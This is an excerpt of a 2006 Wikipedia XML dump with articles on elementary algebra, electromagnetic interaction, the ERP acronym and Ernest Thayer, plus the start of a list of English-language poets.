[[Category:Rebellion]]
[[Category:Revolutions]]

[[ang:Englisc Ingefeoht]]
[[bs:Engleski Građanski Rat]]
[[da:Engelske borgerkrig]]
[[de:Englischer Bürgerkrieg]]
[[es:Revolución Inglesa]]
[[eo:Angla Enlanda Milito]]
[[fr:Première révolution anglaise]]
[[hr:Engleski građanski rat]]
[[nl:Engelse Burgeroorlog]]
[[nds:Ingelsche Börgerorlog]]
[[ja:イングランド内戦]]
[[no:Den engelske borgerkrigen]]
[[pt:Guerra civil inglesa]]
[[ru:Английская революция XVII века]]
[[sl:Angleška državljanska vojna]]
[[fi:Englannin sisällissota]]
[[sv:Engelska inbördeskriget]]
[[uk:Англійська Громадянська війна]]
[[zh:英國內戰]]</text>
    </revision>
  </page>
  <page>
    <title>Elementary algebra</title>
    <id>9710</id>
    <revision>
      <id>40090919</id>
      <timestamp>2006-02-18T01:42:05Z</timestamp>
      <contributor>
        <username>Aianrnoens</username>
        <id>468006</id>
      </contributor>
      <text xml:space="preserve">:''This article is about basic algebra in mathematics. For other uses of the term &quot;algebra&quot; see [[algebra (disambiguation)]].''
'''Elementary algebra''' is the most basic form of [[algebra]] taught to students who are presumed to have no knowledge of [[mathematics]] beyond the basic principles of [[arithmetic]]. While in arithmetic only [[number]]s and their arithmetical operations (such as +, &amp;minus;, &amp;times;, ÷) occur, in algebra one also uses symbols (such as ''a'', ''x'', ''y'') to denote numbers. This is useful because:
* It allows the general formulation of arithmetical laws (such as &lt;math&gt;a + b = b + a&lt;/math&gt; for all ''a'' and ''b''), and thus is the first step to a systematic exploration of the properties of the [[real number|real number system]].
* It allows the reference to &quot;unknown&quot; numbers, the formulation of [[equation]]s and the study of how to solve these (for instance &quot;find a number ''x'' such that &lt;math&gt;3x + 1 = 10&lt;/math&gt;).
* It allows the formulation of [[function (mathematics)|function]]al relationships (such as &quot;if you sell ''x'' tickets, then your profit will be &lt;math&gt;3x - 10&lt;/math&gt; dollars&quot;).
These three are the main strands of elementary algebra, which should be distinguished from [[abstract algebra]], a much more advanced topic generally taught to college seniors.

In algebra, an &quot;[[expression (mathematics)|expression]]&quot; may contain numbers, variables and arithmetical operations; a few examples are:

:&lt;math&gt;x + 3\,&lt;/math&gt;

:&lt;math&gt;y^{2} - 3\,&lt;/math&gt;

:&lt;math&gt;z^{7} + a(b + x^{3}) + 42/y - \pi.\,&lt;/math&gt;

An &quot;[[equation]]&quot; is the claim that two expressions are equal. Some equations are true for all values of the involved variables (such as &lt;math&gt;a + (b + c) = (a + b) + c&lt;/math&gt;); these are also known as &quot;[[identity (mathematics)|identities]]&quot;. Other equations contain symbols for unknown values and we are then interested in finding those values for which the equation becomes true: &lt;math&gt;x^{2} - 1 = 4.&lt;/math&gt; These are the &quot;solutions&quot; of the equation.

==Laws of elementary algebra==
*The [[order of operations]] in a mathematical expression are as follows:
**groupings -&gt; exponents &amp; roots-&gt; multiplication &amp; division -&gt; addition &amp; subtraction
* [[Addition]] is a [[commutative operation]] (two numbers add to the same thing whichever order you add them in).
** [[Subtraction]] is the reverse of addition.
** To subtract is the same as to add a [[negative number]]:
::: &lt;math&gt; a - b = a + (-b). \ &lt;/math&gt;
:: Example: if &lt;math&gt;5 + x = 3&lt;/math&gt; then &lt;math&gt;x = -2.&lt;/math&gt;
* [[Multiplication]] is a commutative operation.
** [[Division (mathematics)|Division]] is the reverse of multiplication.
** To divide is the same as to multiply by a [[reciprocal]]:
::: &lt;math&gt; {a \over b} = a \left( {1 \over b} \right). &lt;/math&gt;
* [[Exponentiation]] is not a commutative operation.
** Therefore exponentiation has a pair of reverse operations: [[logarithm]] and exponentiation with fractional exponents (e.g. [[square root]]s).
*** Examples: if &lt;math&gt;3^x = 10&lt;/math&gt; then &lt;math&gt;x = \log_3 10 .&lt;/math&gt;  If &lt;math&gt;x^{2} = 10&lt;/math&gt; then &lt;math&gt;x = 10^{1 / 2}.&lt;/math&gt;
** The square roots of negative numbers do not exist in the real number system. (See: [[complex number|complex number system]])
* [[Associativity|Associative]] property of addition: &lt;math&gt;(a + b) + c = a + (b + c).&lt;/math&gt;
* Associative property of multiplication: &lt;math&gt;(ab)c = a(bc).&lt;/math&gt;
* [[Distributivity|Distributive]] property of multiplication with respect to addition: &lt;math&gt;c(a + b) = ca + cb.&lt;/math&gt;
* Distributive property of exponentiation with respect to multiplication: &lt;math&gt;(a b)^c = a^c b^c .&lt;/math&gt;
* How to combine exponents: &lt;math&gt; a^b a^c = a^{b+c} .&lt;/math&gt;
* Power to a power property of exponents: &lt;math&gt; (a^b)^c = a^{bc} .&lt;/math&gt;
* If &lt;math&gt;a = b&lt;/math&gt; and &lt;math&gt;b = c&lt;/math&gt;, then &lt;math&gt;a = c&lt;/math&gt; ([[transitive relation|transitivity]] of [[equality (mathematics)|equality]]).
* &lt;math&gt;a = a&lt;/math&gt; ([[reflexive relation|reflexivity]] of equality).
* If &lt;math&gt;a = b&lt;/math&gt; then &lt;math&gt;b = a&lt;/math&gt; ([[symmetric relation|symmetry]] of equality).
* If &lt;math&gt;a = b&lt;/math&gt; and &lt;math&gt;c = d&lt;/math&gt; then &lt;math&gt;a + c = b + d.&lt;/math&gt;
** If &lt;math&gt;a = b&lt;/math&gt; then &lt;math&gt;a + c = b + c&lt;/math&gt; for any ''c'' (addition property of equality).
* If &lt;math&gt;a = b&lt;/math&gt; and &lt;math&gt;c = d&lt;/math&gt; then &lt;math&gt;ac&lt;/math&gt; = &lt;math&gt;bd.&lt;/math&gt;
** If &lt;math&gt;a = b&lt;/math&gt; then &lt;math&gt;ac = bc&lt;/math&gt; for any ''c'' (multiplication property of equality).
* If two symbols are equal, then one can be substituted for the other at will (substitution principle).
* If &lt;math&gt;a &gt; b&lt;/math&gt; and &lt;math&gt;b &gt; c&lt;/math&gt; then &lt;math&gt;a &gt; c&lt;/math&gt; (transitivity of [[inequality]]).
* If &lt;math&gt;a &gt; b&lt;/math&gt; then &lt;math&gt;a + c &gt; b + c&lt;/math&gt; for any ''c''.
* If &lt;math&gt;a &gt; b&lt;/math&gt; and &lt;math&gt;c &gt; 0&lt;/math&gt; then &lt;math&gt;ac &gt; bc.&lt;/math&gt;
* If &lt;math&gt;a &gt; b&lt;/math&gt; and &lt;math&gt;c &lt; 0&lt;/math&gt; then &lt;math&gt;ac &lt; bc.&lt;/math&gt;

==Examples==
===Linear equations===
The simplest equations to solve are [[linear equation]]s.  They contain only constant numbers and a single variable without an exponent.  For example:
:&lt;math&gt;2x + 4 = 12. \,&lt;/math&gt;

The central technique is add, subtract, multiply, or divide both sides of the equation by the same thing in such a way to eventually arrive at the value of the unknown variable.  If we subtract 4 from both sides in the equation above we get:

:&lt;math&gt;2x = 8 \,&lt;/math&gt;
and if we then divide both sides by 2, we get our solution
:&lt;math&gt;x = \frac{8}{2} = 4.&lt;/math&gt;

===Quadratic equations===
[[Quadratic equation]]s contain variables raised to the first and second (square) power, and can be solved using [[factorization]] or the [[quadratic formula]].  As an example of factoring:
:&lt;math&gt;x^{2} + 3x = 0. \,&lt;/math&gt;
This is the same thing as
:&lt;math&gt;x(x + 3) = 0. \,&lt;/math&gt;
Setting x to 0 or -3 will make this true.
All quadratic equations will have two solutions in the [[complex number]] system, but need not have any in the [[real number]] system. For example,
:&lt;math&gt;x^{2} + 1 = 0 \,&lt;/math&gt; 
has no real number solution since no real number squared equals -1.
Sometimes a quadratic equation has a root of [[multiplicity]] 2, such as:
:&lt;math&gt;(x + 1)^{2} = 0. \,&lt;/math&gt;
For this equation, -1 is a root of multiplicity 2

===System of linear equations===
If we have a [[system of linear equations]], for example, two equations in two variables, it is often possible to find two answers that satisfy both.

:&lt;math&gt;4x + 2y = 14 \,&lt;/math&gt;
:&lt;math&gt;2x - y = 1. \,&lt;/math&gt;

Now, multiply the second equation by 2 on both sides, and you have the following equations:

:&lt;math&gt;4x + 2y = 14 \,&lt;/math&gt;
:&lt;math&gt;4x - 2y = 2. \,&lt;/math&gt;

Now we add the two equations together to get:

:&lt;math&gt;8x = 16 \,&lt;/math&gt;
:&lt;math&gt;x = 2. \,&lt;/math&gt;

You can see that since we multiplied the second equation by 2, we can combine the equations and cancel out y, and then we can solve for x.  Note that you can multiply by any numbers (positive or negative, but ''not [[zero]]'') to both sides of any to get to a point where a variable cancels out when you combine them.

To find y, choose either one of the equations from the beginning.

:&lt;math&gt;4x + 2y = 14. \,&lt;/math&gt;

Substitute in 2 for ''x''.

:&lt;math&gt;4(2) + 2y = 14. \,&lt;/math&gt;

Simplify using the rules of algebra.

:&lt;math&gt;8 + 2y = 14 \,&lt;/math&gt;
:&lt;math&gt;2y = 6 \,&lt;/math&gt;
:&lt;math&gt;y = 3. \,&lt;/math&gt;

The full solution to this problem is then
:&lt;math&gt;\begin{cases} x = 2 \\ y = 3. \end{cases}\,&lt;/math&gt;

==See also==

*[[binomial]]
*[[polynomial]]
*[[vulgar fraction]] 
*[[number line]]
*[[FOIL rule]] &lt;!-- I'm not quite sure exactly where to put this... someone please find a better home ~~~~ --&gt;

==External links==
Charles Smith, ''[http://mathbooks.library.cornell.edu:8085/Dienst/UIMATH/1.0/Display/cul.math/Smit025 A Treatise on Algebra]'',
in [http://historical.library.cornell.edu/math Cornell University Library Historical Math Monographs].

Other example problems can be found at [http://www.exampleproblems.com www.exampleproblems.com].

[[Category:Elementary algebra|*]]
[[Category:School subjects]]

[[ar:جبر ابتدائي]]
[[de:Elementare Algebra]]
[[fr:Algèbre élémentaire]]
[[it:Algebra elementare]]
[[nl:Elementaire algebra]]
[[pt:Álgebra elementar]]
[[sv:Elementär algebra]]
[[ta:அடிப்படை குறுக்கணக்கியல்]]
[[uk:Елементарна математика]]</text>
    </revision>
  </page>
  <page>
    <title>Electromagnetic interaction</title>
    <id>9711</id>
    <revision>
      <id>34804486</id>
      <timestamp>2006-01-11T21:22:56Z</timestamp>
      <contributor>
        <username>Hurricane Angel</username>
        <id>170139</id>
      </contributor>
      <minor />
      <comment>fundamental interaction/force redirect fix</comment>
      <text xml:space="preserve">{{electromagnetism}}
'''Electromagnetic interaction''' is a [[fundamental interaction|fundamental force]] of nature and is felt by charged [[lepton|leptons]] and [[quark|quarks]]. Its [[exchange particle]] is the [[photon]] (symbol &amp;gamma;) and the many forms of [[electromagnetic radiation]] are a manifestation of this interaction.

[[Rutherford scattering]] showed that the [[electromagnetic field]] has a greater range than the [[weak interaction|weak]] or [[strong interaction|strong]] fields due to the photons having no [[mass]], and travelling at the [[speed of light]]. The fact that photons have no mass makes them easy to produce, and charged particles usually interact electromagnetically before other fields have a chance to operate.

Electromagnetic interactions are long range attractions or repulsions between any particles or antiparticles that have charge. If the particles are attracted they stay together, because there is a continual exchange of photons.

==See also==
*[[electromagnetism]]
*[[classical electrodynamics]]
*[[quantum electrodynamics]]
*[[particle physics]]

==External links==
*[http://www.egglescliffe.org.uk/physics/particles/parts/parts1.html Feynman Diagrams and Forces Between Particles.]  Explains the attractive and repulsive EM interactions in terms of Feynman diagrams.

[[Category:Nuclear physics]]

[[es:Interacción electromagnética]]
[[ja:電磁相互作用]]
[[pl:Oddziaływanie elektromagnetyczne]]
[[sl:Elektromagnetna interakcija]]
[[fi:Sähkömagneettinen vuorovaikutus]]
[[zh:電磁力]]</text>
    </revision>
  </page>
  <page>
    <title>ERP</title>
    <id>9712</id>
    <revision>
      <id>40011473</id>
      <timestamp>2006-02-17T14:01:31Z</timestamp>
      <contributor>
        <username>Pbb</username>
        <id>440410</id>
      </contributor>
      <comment>ERP, not EPR</comment>
      <text xml:space="preserve">'''ERP''' is a [[TLA]] (three-letter acronym) that may stand for:

*'''European Recovery Program''', more commonly known as the [[Marshall Plan]]
*'''[[Effective radiated power]]''', a term used in radio communications for calculating the power of a communications system in terms of its gains and losses.
*'''[[People's Revolutionary Army (Argentina)|Ejército Revolucionario del Pueblo]]''' in Spanish, or People's Revolutionary Army in English, an Argentine armed insurgent group.
*'''[[Event-related potential]]''', also known as '''Event-related brain potential''', a method used in psychology for analysing brain waves recorded from an [[Electroencephalography|EEG]]. It has been used to prescribe glasses for individuals who could not communicate with a physician.
* '''[[Enterprise resource planning]]''' systems (ERPs) are [[management information systems]] that integrate and automate many of the business practices associated with the operations or production aspects of a company.
*[[Early redemption penalty]]
*[[Early retirement plan]]
*[[Earth rotation parameters]]
*[[Effective refractory period]]
*[[Electronic road pricing]]
*[[Elite Roleplaying]]
*[[Emergency response plan]]
*[[Emergency response program]]
*[[Employee retirement plan]]
*[[Environmental resource permit]]
*[[Environmental resource planning]]
*[[Error recovery procedure]]
*[[Estimated retail price]]
*[[Estonian Reform Party]]
*[[Exposure and Response Prevention]] (see [[OCD]])
*[[Extended refit period]]
*[[Exterior router protocol]]



{{TLAdisambig}}

[[de:ERP]]
[[es:ERP]]
[[ja:ERP]]</text>
    </revision>
  </page>
  <page>
    <title>Ernest Thayer</title>
    <id>9713</id>
    <revision>
      <id>38562400</id>
      <timestamp>2006-02-07T03:13:32Z</timestamp>
      <contributor>
        <ip>67.160.193.99</ip>
      </contributor>
      <comment>/* References */</comment>
      <text xml:space="preserve">{{wikisource author}}
'''Ernest Lawrence Thayer''' ([[August 14]], [[1863]] - [[August 21]], [[1940]]) was an [[United States|American]] writer and poet who wrote &quot;[[Casey at the Bat]]&quot;.

Thayer was born in [[Lawrence, Massachusetts|Lawrence]], [[Massachusetts]] and raised in [[Worcester, Massachusetts|Worcester]]. He graduated ''[[magna cum laude]]'' in [[philosophy]] from [[Harvard University|Harvard]] in [[1885]], where he was a member of [[Delta Kappa Epsilon]] (DKE) fraternity and editor of the ''[[Harvard Lampoon]]''. Its business manager, [[William Randolph Hearst]], also a member of DKE, hired Thayer as humour columnist for the ''[[San Francisco Examiner]]'' 1886-88. 

Thayer&amp;rsquo;s last piece, dated [[June 3]], [[1888]], was a ballad entitled &quot;Casey&quot; (&quot;Casey at the Bat&quot;). 

It took two decades for the poem to make Thayer famous, as he was hardly the boastful type and had signed the June 3 poem with the nickname &quot;Phin&quot;.  Two mysteries remain about the poem: who, if anyone, was the model for the title character and whether Thayer had a real-life &quot;Mudville&quot; in mind when he included Mudville as the poem's mythical town.  On [[March 31]], [[2004]], Katie Zezima of ''[[The New York Times]]'' penned an article called &quot;In 'Casey' Rhubarb, 2 Cities Cry 'Foul!'&quot; on the competing claims of two towns to such renown: [[Stockton, California|Stockton]], [[California]], and [[Holliston, Massachusetts|Holliston]], Massachusetts.

As far as whether there was any model for the title character, Thayer later dispelled the notion that any single living baseball player was an influence.  However, late [[1880s]] [[Boston, Massachusetts|Boston]] star [[King Kelly|Mike &quot;King&quot; Kelly]] is odds-on the most likely model for Casey's baseball situations.  Besides being a native of a town close to Boston, Thayer, as a ''San Francisco Examiner'' baseball reporter in the offseason of 1887-88, covered exhibition games featuring Kelly.  In November [[1887]], some of his reportage about a Kelly at-bat has the same ring as Casey's famous at-bat in the poem.  A 2004 book by Howard W. Rosenberg, ''Cap Anson 2: The Theatrical and Kingly Mike Kelly: U.S. Team Sport's First Media Sensation and Baseball's Original Casey at the Bat'', reprints a [[1905]] Thayer letter to a Baltimore scribe who was inquiring about the poem's roots.  In the letter, Thayer singled out Kelly, who had died in [[1894]], as having shown &quot;impudence&quot; in claiming to have written it.  Rosenberg argues that if Thayer still felt offended, Thayer may have steered later comments away from connecting Kelly to it.  Kelly had also performed in vaudeville, and recited the poem dozens of times, possibly butchering it to Thayer's dismay. Incidentally, the first public performance of the poem was on August 14, 1888, by actor De Wolf Hopper, on Thayer's 25th birthday.     

Thayer's recitation of it at a Harvard class reunion in [[1895]] may seem trivial except that it helps solve the mystery, which lingered into the [[20th century]], of who had written it.  In the mid-[[1890s]], Thayer contributed several other comic poems for Hearst's ''New York Journal'' and then turned to make his livelihood by overseeing his family's mills in Worcester.

The New York Times' obituary of Thayer{{ref|obit}} quotes comedian Wolf Hopper, who helped make the poem famous: 
:&quot;Thayer indubitably wrote 'Casey,' but he could not recite it.... I have heard many other give 'Casey.' Fond mamas have brought their sons to me to hear their childish voices lisp the poem, but Thayer's was the worst of all. In a sweet, dulcet Harvard whisper he implored 'Casey' to murder the umpire, and gave this cry of mass animal rage all the emphasis of a caterpillar wearing rubbers crawling on a velvet carpet. He was rotten.&quot;

He moved to [[Santa Barbara, California|Santa Barbara]] in [[1912]], where he married Rosalind Buel Hammett and retired. Thayer died in 1940, at age 77.

==References==
*{{note|obit}} E. L. Thayer's obituary, The New York Times, [[August 22]], [[1940]], p. 19

[[Category:1861 births|Thayer, Ernest]]
[[Category:1940 deaths|Thayer, Ernest]]
[[Category:American writers|Thayer, Enest]]
[[Category:English-language poets|Thayer, Ernest]]</text>
    </revision>
  </page>
  <page>
    <title>List of English language poets</title>
    <id>9714</id>
    <revision>
      <id>41758188</id>
      <timestamp>2006-03-01T15:07:47Z</timestamp>
      <contributor>
        <username>Ndorward</username>
        <id>36898</id>
      </contributor>
      <minor />
      <comment>/* St-Sy */ -- removed false birth/death dates for Keston Sutherland</comment>
      <text xml:space="preserve">Poets who wrote or write much of their [[poetry]] in the [[English language]]. {{listdev}}

[[#A|A]] [[#B|B]] [[#C|C]] [[#D|D]] [[#E|E]] [[#F|F]] [[#G|G]] [[#H|H]] [[#I-J|I]] [[#I-J|J]] [[#K|K]] [[#L|L]] [[#M|M]] [[#N-O|N]] [[#N-O|O]] [[#P|P]] [[#Q|Q]] [[#R|R]] [[#S|S]] 
[[#T-V|T]] [[#T-V|U]] [[#T-V|V]] [[#W|W]] [[#Y-Z|X]] [[#Y-Z|Y]] [[#Y-Z|Z]] __NOTOC__

==A==

*[[Harold Acton]] (1904-1994)
*[[Gilbert Adair]] (born 1944)
*[[Arthur Henry Adams]] (1872-1936)
*[[Robert Adamson]]
*[[Fleur Adcock]] (born 1934)
*[[Joseph Addison]] (1672-1719)
*[[Mark Akenside]] (1721-1770)
*[[James Alexander Allan]] (1889-1956)
*[[Leslie Holdsworthy Allen]] (1879-1964)
*[[Ethel Anderson]] (1883-1958)
*[[Bruce Andrews]] (born 1948)
*[[Maya Angelou]] (born 1928)
*[[Rae Armantrout]] (born 1947)
*[[Simon Armitage]] (born 1963)
*[[Matthew Arnold]] (1822-1888)
*[[John Ashbery]] (born 1927)
*[[Thomas Ashe]] (1836-1889)
*[[Thea Astley]] (1925-2004)
*[[Edwin Atherstone]] (1788-1872)
*[[Margaret Atwood]] (born 1939)
*[[Dorothy Auchterlonie]] (1915-1991)
*[[W. H. Auden]] (1907-1973)
*[[Albert Gordon Austin]] (1918-1990)
*[[Pam Ayres]] (born 1947)
*[[Robert Ayton]] (1570-1638)
*[[Robert Ayton|Sir Robert Ayton]] (1570-1638)
*[[William Edmonstone Aytoun]] (1813-1865)

==B==
===Ba===
*[[Joanna Baillie]] (1762-1851)
*[[Kevin Bailey (poet)|Kevin Bailey]] (born 1953} 
*[[David Ball]]
*[[Jesse Ball]] (1978-)
*[[Lex Banning]] (born 1921)
*[[Amiri Baraka]] (born 1934)
*[[David Baratier]] (born 1970)
*[[Anna Laetitia Barbauld]] (1743-1825)
*[[John Barbour]] (died 1395)
*[[Les Barker]] (born 1947)
*[[Richard Barnefield]] (1574-1627)
*[[Djuna Barnes]] (1892-1982)
*[[William Barnes]] (1801-1886)
*[[Ken Barratt]]
*[[Bernard Barton]] (1784-1849)
*[[David Bates (poet)|David Bates]] (1809-1870)
*[[H.E. Bates]] (1905-1974)
*[[James K. Baxter]] (1926-1972)
*[[Arthur Bayldon]] (1865-1958)
*[[William Baylebridge]] (1883-1942)

===Be-Bo===
*[[Francis Beaumont]] (1586-1616)
*[[Bruce Beaver]] (1928-2004)
*[[Aphra Behn]] (1640-1689)
*[[Gwendolyn B. Bennett]]
*[[Asa Benveniste]] 
*[[Bill Berkson]]
*[[Charles Bernstein]] (born 1950)
*[[Anselm Berrigan]]
*[[Edmund Berrigan]]
*[[Ted Berrigan]]
*[[Wendell Berry]] (1934-)
*[[John Berryman]] (1914-1972)
*[[Joop Bersee]] (born 1958)
*[[John Betjeman]] (1906-1984)
*[[Maurice Biggs]] (born 1915)
*[[Gary Bills]]    (born 1964) 
*[[Elizabeth Bishop]] (1911-1979)
*[[Samuel Bishop]] (1731-1795)
*[[Thomas Blacklock]] (1721-1791)
*[[Peter Bladen]] (1922-2001)
*[[William Blake]] (1757-1827)
*[[Susanna Blamire]] (1747-1794)
*[[John Blight]] (1913-1995)
*[[Mathilde Blind]] (1841-1896)
*[[Edmund Blunden]] (1896-1974)
*[[Wilfrid Scawen Blunt]] (1840-1922)
*[[Barcroft Boake]] (1866-1892)
*[[George Henry Boker]] (1823-1890)
*[[Eavan Boland]] (born 1944)
*[[Horatius Bonar]] (1808-1889)
*[[Arna Wendell Bontemps]]
*[[Marx Alexander Boyd]] (1563-1601)

===Br-By===
*[[Anne Bradstreet]] (ca. 1612-1672)
*[[E. J. Brady]] (1869-1952)
*[[Christopher Brennan]] (1870-1932)
*[[John Le Gay Brereton]] (1871-1933)
*[[Nicholas Breton]] (1542-1626)
*[[Ken Brewer]] (1941-    )
*[[Robert Bridges]] (1844-1930)
*[[Emily Brontë]] (1818-1848)
*[[Rupert Brooke]] (1887-1915)
*[[Gwendolyn Brooks]] (1917-2000)
*[[Sterling A. Brown]]
*[[Thomas Edward Brown]] (1830-1897)
*[[Isaac Hawkins Browne]] (1705-1760)
*[[William Browne]] (1588-1643)
*[[Elizabeth Barrett Browning]] (1806-1861)
*[[Robert Browning]] (1812-1889)
*[[William Cullen Bryant]] (1794-1878)
*[[Vincent Buckley]] (1925-1988)
*[[Charles Bukowski]] (1920-1994)
*[[Basil Bunting]] (1900&amp;ndash;1985)
*[[Anthony Burgess]] (1917-1993)
*[[Jim Burns]]
*[[Richard Burns]] (1943)
*[[Robert Burns]] (1759-1796)
*[[William S. Burroughs]] (1914-1997)
*[[George Gordon Byron, 6th Baron Byron]] (1788-1824)

==C==
===Ca-Ci===
*[[Richard Caddel]]
*[[Charles Stuart Calverley]] (1831-1884)
*[[Thomas Campbell]] (1774-1844)
*[[Thomas Campion]] (1567-1620)
*[[Mary Wedderburn Cannan]] (1893-1973)
*[[Thomas Carew]] (1595-1639)
*[[Henry Carey (writer)|Henry Carey]] (1693-1743)
*[[Lewis Carroll]] (1832-1898)
*[[William Cartwright]] (1611-1643)
*[[Carolyn Joyce Carty]] (1957-
*[[Alice Cary]]
*[[Phoebe Cary]]
*[[Charles Causley]] (1917-2003)
*[[Constantine Cavafy]]
*[[Joseph Ceravolo]]
*[[John Chalkhill]]
*[[Miles Champion]]
*[[William Ellery Channing (1818-1901)]]
*[[George Chapman]] (1560-1634)
*[[Geoffrey Chaucer]] (ca.1343-1400)
*[[Maxine Chernoff]]
*[[Sandra Cisneros]]

===Cl===
*[[John Clare]] (1793-1864)
*[[Thomas A. Clark]]
*[[Tom Clark]]
*[[Jack Clarke]]
*[[Austin Clarke (poet)|Austin Clarke]] (1886-1974)
*[[John Cleveland]] (1613-1658)
*[[Michelle Cliff]]
*[[Lucille Clifton]]
*[[Arthur Hugh Clough]] (1819-1861)
===Co===
*[[Bob Cobbing]]
*[[Brian Coffey]] (1905-1995)
*[[Norma Cole]]
*[[Wanda Coleman]]
*[[Hartley Coleridge]] (1796-1849)
*[[Mary Elizabeth Coleridge]] (1861-1907)
*[[Samuel Taylor Coleridge]] (1772-1834)
*[[Billy Collins]]
*[[William Collins (poet)|William Collins]] (1721-1759)
*[[William Congreve (playwright)|William Congreve]] (1670-1729)
*[[Henry Constable]] (1562-1613)
*[[Clark Coolidge]]
*[[Thomas Cooper]] (poet) (1805-1892)
*[[Wendy Cope]] (born 1945)
*[[Richard Corbet]] (1582-1635)
*[[William Corbett]]
*[[Corinna]]
*[[James D. Corrothers]]
*[[Jayne Cortez]]
*[[William Johnson Cory]] (1823-1892)
*[[Louisa Stuart Costello]] (1799-1877)
*[[Anne Ross Cousin]] (1824-1906)
*[[Kerensa Cowan-Fields]] (1981-)
*[[Abraham Cowley]] (1618-1667)
*[[William Cowper]] (1731-1800)

===Cr-Cu===
*[[George Crabbe]] (1754-1832)
*[[Hart Crane]], (1899-1932)
*[[Richard Crashaw]] (1613-1649)
*[[Thomas Creech]] (1659-1700)
*[[George Croly]] (1780-1860)
*[[William Crowe]] (1745-1829)
*[[Aleister Crowley]] (1875-1947)
*[[Andrew Crozier]]
*[[Countee Cullen]], (1903-1946)
*[[E. E. Cummings]] (1894-1962)
*[[Allan Cunningham]] (1784-1842)
*[[Allen Curnow]] (1911-2001)
==D==
===Da-Do===
*[[Samuel Daniel]] (1562-1619)
*[[George Darley]] (1795-1846) 
*[[Tina Darragh]]
*[[Robert von Dassanowsky]] (aka Robert Dassanowsky)
*[[William Davenant]] (1606-1668)
*[[John Davidson (poet)|John Davidson]] (1837-1909)
*[[Michael Davidson]]
*[[John Davies (poet)|John Davies]] (1569-1626)
*[[Thomas Osborne Davis]] (1814-1845)
*[[Jean Day]]
*[[Thomas Dekker]] (1575-1641)
*[[John Denham (poet)|John Denham]] (1615-1669)
*[[Thomas Dermody]] (1775-1802)
*[[William F. DeVault]] 
*[[Denis Devlin]] (1908-1959)
*[[James Dickey]]  (1923-1997)
*[[Emily Dickinson]] (1830-1886)
*[[Ray DiPalma]]
*[[Diane Di Prima]]
*[[John Donne]] (1572-1631)
*[[Des Donnelly]] (born 1955)
*[[Maura Dooley]]
*[[Edward Dorn]]
*[[Keith Douglas]] (1920-1944)
*[[Rita Dove]]
*[[Buck Downs]]
*[[Ernest Dowson]] (1867-1900)
*[[Francis Hastings Doyle]] (1810-1888)

===Dr-Dy===
*[[Michael Drayton]] (1563-1631)
*[[William Drummond of Hawthornden]] (1585-1649)
*[[John Dryden]] (1631-1700)
*[[W.E.B. DuBois]] (1868-1963)
*[[Carol Ann Duffy]] (born 1955)
*[[Charles Gavan Duffy]] (1816-1903)
*[[Paul Laurence Dunbar]] (1872-1906)
*[[William Dunbar]] (1465-1520)
*[[Robert Duncan]] (1919-1988)
*[[Douglas Dunn]] (born 1942)
*[[Alan Dunnett]]
*[[G.F.Dutton]]
*[[John Dyer]]
*[[Bob Dylan]] (born 1941)

==E==

*[[Richard Eberhart]] (1904-2005) (died at the three digit age of 101)
*[[Richard Edwards (English poet)|Richard Edwards]] (1523?-1566)
*[[T. S. Eliot]] (1888-1965)
*[[Ebenezer Elliot]] (1781-1849)
*[[Jean Elliot]] (1727-1805)
*[[Ebenezer Elliott]] (1781-1849)
*[[Ralph Waldo Emerson]] (1803-1882)
*[[William Empson]] (1906-1984)
*[[Theodore Enslin]] (born 1925)
*Sir [[George Etherege]] (1635-1691)
*[[Mari Evans]]

==F==
*[[Edward Fairfax]] (1580?-1635)
*[[William Falconer]] (1732-1769)
*[[Catherine Maria Fanshawe]] (1765-1834)
*Sir [[Richard Fanshawe]] (1608-1666)
*[[Francis Fawkes]] (1721-1777)
*[[Jonathan FeBland]] (born 1960)
*[[Elaine Feinstein]]
*[[Elijah Fenton]] (1683-1730)
*[[James Fenton]] (born 1949)
*[[Deanna Ferguson]]
*[[Lawrence Ferlinghetti]] (born 1919)
*[[Peter Finch]]
*[[Ian Hamilton Finlay]] (born 1925)
*[[Allen Fisher]]
*[[Roy Fisher]] (born 1930)
*[[Edward FitzGerald (poet)|Edward Fitzgerald]] (1809-1883)
*[[Penelope Fitzgerald]]
*[[John Fletcher (playwright)|John Fletcher]] (1579-1625)
*[[Douglas Florian]]
*[[John Ford (dramatist)|John Ford]] (1586-1639)
*[[Janet Frame]] (1924-2004)
*[[Ulli Freer]]
*[[Philip Freneau]] (1752-1832)
*[[Robert Frost]] (1874-1963)
*[[Stephen Fry]]
*[[Heather Fuller]]
*[[William Fuller]]
*[[Alice Fulton]] (born 1952)
*[[Richard Furness]] (1791-1857)

==G==
===Ga-Go===
*[[Dick Gallup]]
*[[Sarah Gambito]]
*[[Forest Gander]]
*[[Samuel Garth]]
*[[George Gascoigne]] (1525-1577)
*[[David Gascoyne]] (1916-2001)
*[[John Gay]] (1685-1732)
*[[Theodor Seuss Geisel]] (1904-1991)
*[[Merrill Gilfillan]]
*[[Mary Gilmour|Dame Mary Gilmour]]
*[[Allen Ginsberg]] (1926-1997)
*[[Nikki Giovanni]] (born 1943)
*[[Michael Gizzi]]
*[[Peter Gizzi]]
*[[Denis Glover]]  (1912-1980)
*[[Louise Gluck]]
*[[Oliver Goldsmith]] (1728-1774)

===Gr-Gy===
*[[W. S. Graham]]
*[[Richard Graves]] (1715-1804)
*[[Robert Graves]] (1895-1985)
*[[Thomas Gray]] (1716-1771)
*[[Robert Greene]] (1560-1592)
*[[Ted Greenwald]]
*[[Fulke Greville]], Lord Brooke (1554-1628)
*[[Bill Griffiths]] (born 1948)
*[[Nicholas Grimald]] (1519-1562)
*[[Nikki Grimes]]
*[[Angelina Weld Grimke]]
*[[Charlotte Forten Grimke]]
*[[Barbara Guest]]
*[[Edgar Guest]], (1881-1959)
*[[Arthur Guiterman]] (1871-1943)
*[[Thom Gunn]] (1929-2004)
*[[Ivor Gurney]] (1890-1937)
*[[Brion Gysin]] (1916-1986)

==H==
===Ha-He===
*[[William Habington]] (1605-1654)
*[[Thomas Hardy]] (1840-1928)
*[[Joy Harjo]]
*[[William Harmon]]
*[[Frances E. W. Harper]]
*[[Michael S. Harper]]
*[[Tony Harrison]] (born 1937)
*[[Carla Harryman]]
*[[Lee Harwood]] (born 1939)
*[[Sterling Harwood]] (born 1958)
*[[Alamgir Hashmi]]
*[[Stephen Hawes]] (died 1523)
*[[Robert Hayden]]
*[[Randolph Healey]]
*[[Seamus Heaney]] (born 1939)
*[[Anthony Hecht]] (1923-2004)
*[[John Hegley]]
*[[Lyn Hejinian]]
*[[Piero Heliczer]]
*[[Felicia Hemans]] (1793-1835)
*[[Essex Hemphill]]
